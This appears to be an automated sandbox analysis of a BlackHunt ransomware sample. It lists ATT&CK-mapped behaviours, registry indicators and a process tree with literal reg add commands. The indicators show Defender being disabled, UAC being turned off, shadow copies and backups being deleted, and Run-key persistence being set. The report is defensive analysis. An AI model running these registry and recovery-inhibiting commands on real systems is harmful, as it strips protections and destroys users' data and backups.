cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a

Data Destruction

T1485

pid	Process
5988	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
5380	bcdedit.exe
6004	bcdedit.exe

Renames multiple (640) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5388	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\N:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\J:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\K:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\U:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\P:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\A:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\G:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\Z:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\M:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\T:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\I:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\H:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\L:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\E:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\V:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\Y:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\O:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\X:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\B:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\R:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened (read-only)	\??\S:	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\dynalink.md	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\#BlackHunt_ReadMe.hta	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\si\#BlackHunt_Private.key	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\vlc.mo	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_ReadMe.hta	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_Private.key	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\Java\jre-1.8\legal\#BlackHunt_ReadMe.txt	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\vlc.mo	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ja\#BlackHunt_ReadMe.hta	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_PT\#BlackHunt_Private.key	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mn\#BlackHunt_ReadMe.hta	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\jmxremote.password.template	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\Java\jdk-1.8\legal\javafx\#BlackHunt_Private.key	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\xerces.md	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_zh_TW.properties	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fi\#BlackHunt_ReadMe.hta	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\vlc.mo	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\webkit.md	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\management\#BlackHunt_ReadMe.txt	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\#BlackHunt_Private.key	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\#BlackHunt_ReadMe.txt	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\#BlackHunt_Private.key	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\th\LC_MESSAGES\#BlackHunt_ReadMe.txt	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#BlackHunt_ReadMe.hta	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zu\#BlackHunt_ReadMe.txt	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\ant-javafx.jar	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\relaxngom.md	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\#BlackHunt_Private.key	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\vlc.mo	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\#BlackHunt_ReadMe.txt	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\#BlackHunt_ReadMe.txt	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\policy\limited\US_export_policy.jar	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\Reference Assemblies\#BlackHunt_ReadMe.txt	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\#BlackHunt_Private.key	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\amd64\#BlackHunt_Private.key	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\Java\jdk-1.8\legal\javafx\#BlackHunt_ReadMe.hta	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\vlc.mo	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_TW\#BlackHunt_ReadMe.txt	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uz.txt	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\nashorn.jar	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaTypewriterRegular.ttf	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\vlc.mo	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ne\LC_MESSAGES\vlc.mo	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\access\#BlackHunt_Private.key	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\[email protected]	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\#BlackHunt_Private.key	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\vlc.mo	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\#BlackHunt_ReadMe.txt	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\#BlackHunt_ReadMe.hta	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\lua\meta\#BlackHunt_Private.key	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_Private.key	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\ExpandDebug.raw	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\#BlackHunt_ReadMe.hta	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fr\#BlackHunt_ReadMe.txt	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pa\#BlackHunt_ReadMe.txt	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ug\LC_MESSAGES\vlc.mo	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pt-br.txt	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_Private.key	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\MSBuild\#BlackHunt_ReadMe.txt	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#BlackHunt_ReadMe.txt	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zu\#BlackHunt_Private.key	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\#BlackHunt_ReadMe.txt	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\vlc.mo	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4916	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4320	vssadmin.exe
5220	vssadmin.exe
3568	vssadmin.exe
1048	vssadmin.exe
2756	vssadmin.exe

Modifies registry class 12 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
Token: SeRestorePrivilege	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
Token: SeBackupPrivilege	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
Token: SeTakeOwnershipPrivilege	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
Token: SeAuditPrivilege	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
Token: SeSecurityPrivilege	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
Token: SeIncBasePriorityPrivilege	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
Token: SeBackupPrivilege	2952	vssvc.exe
Token: SeRestorePrivilege	2952	vssvc.exe
Token: SeAuditPrivilege	2952	vssvc.exe
Token: SeBackupPrivilege	6832	wbengine.exe
Token: SeRestorePrivilege	6832	wbengine.exe
Token: SeSecurityPrivilege	6832	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4064 wrote to memory of 4484	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	91
PID 4064 wrote to memory of 4484	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	91
PID 4064 wrote to memory of 4712	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	93
PID 4064 wrote to memory of 4712	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	93
PID 4064 wrote to memory of 4932	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	94
PID 4064 wrote to memory of 4932	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	94
PID 4064 wrote to memory of 1764	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	97
PID 4064 wrote to memory of 1764	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	97
PID 4064 wrote to memory of 1976	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	99
PID 4064 wrote to memory of 1976	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	99
PID 1976 wrote to memory of 4996	1976	cmd.exe	104
PID 1976 wrote to memory of 4996	1976	cmd.exe	104
PID 1764 wrote to memory of 4100	1764	cmd.exe	107
PID 1764 wrote to memory of 4100	1764	cmd.exe	107
PID 4932 wrote to memory of 3540	4932	cmd.exe	103
PID 4932 wrote to memory of 3540	4932	cmd.exe	103
PID 4712 wrote to memory of 2780	4712	cmd.exe	106
PID 4712 wrote to memory of 2780	4712	cmd.exe	106
PID 4484 wrote to memory of 1600	4484	cmd.exe	105
PID 4484 wrote to memory of 1600	4484	cmd.exe	105
PID 4064 wrote to memory of 4672	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	108
PID 4064 wrote to memory of 4672	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	108
PID 4064 wrote to memory of 3912	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	110
PID 4064 wrote to memory of 3912	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	110
PID 4064 wrote to memory of 3868	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	112
PID 4064 wrote to memory of 3868	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	112
PID 4672 wrote to memory of 636	4672	cmd.exe	114
PID 4672 wrote to memory of 636	4672	cmd.exe	114
PID 4064 wrote to memory of 548	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	115
PID 4064 wrote to memory of 548	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	115
PID 4064 wrote to memory of 2872	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	117
PID 4064 wrote to memory of 2872	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	117
PID 4064 wrote to memory of 1252	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	118
PID 4064 wrote to memory of 1252	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	118
PID 3912 wrote to memory of 4388	3912	cmd.exe	120
PID 3912 wrote to memory of 4388	3912	cmd.exe	120
PID 4064 wrote to memory of 2380	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	122
PID 4064 wrote to memory of 2380	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	122
PID 3868 wrote to memory of 2044	3868	cmd.exe	124
PID 3868 wrote to memory of 2044	3868	cmd.exe	124
PID 4064 wrote to memory of 4164	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	125
PID 4064 wrote to memory of 4164	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	125
PID 2872 wrote to memory of 2972	2872	cmd.exe	127
PID 2872 wrote to memory of 2972	2872	cmd.exe	127
PID 4064 wrote to memory of 4520	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	128
PID 4064 wrote to memory of 4520	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	128
PID 4064 wrote to memory of 4336	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	129
PID 4064 wrote to memory of 4336	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	129
PID 4064 wrote to memory of 4308	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	130
PID 4064 wrote to memory of 4308	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	130
PID 4064 wrote to memory of 696	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	132
PID 4064 wrote to memory of 696	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	132
PID 4064 wrote to memory of 1268	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	134
PID 4064 wrote to memory of 1268	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	134
PID 4064 wrote to memory of 3056	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	139
PID 4064 wrote to memory of 3056	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	139
PID 1252 wrote to memory of 3524	1252	cmd.exe	138
PID 1252 wrote to memory of 3524	1252	cmd.exe	138
PID 4064 wrote to memory of 1668	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	137
PID 4064 wrote to memory of 1668	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	137
PID 548 wrote to memory of 1068	548	cmd.exe	136
PID 548 wrote to memory of 1068	548	cmd.exe	136
PID 4064 wrote to memory of 3856	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	144
PID 4064 wrote to memory of 3856	4064	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe	144

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe
"C:\Users\Admin\AppData\Local\Temp\cc5fd3bd253f1286c971815101cf96153527720fbee0a6209c60695be9366b2a.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4712
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4100
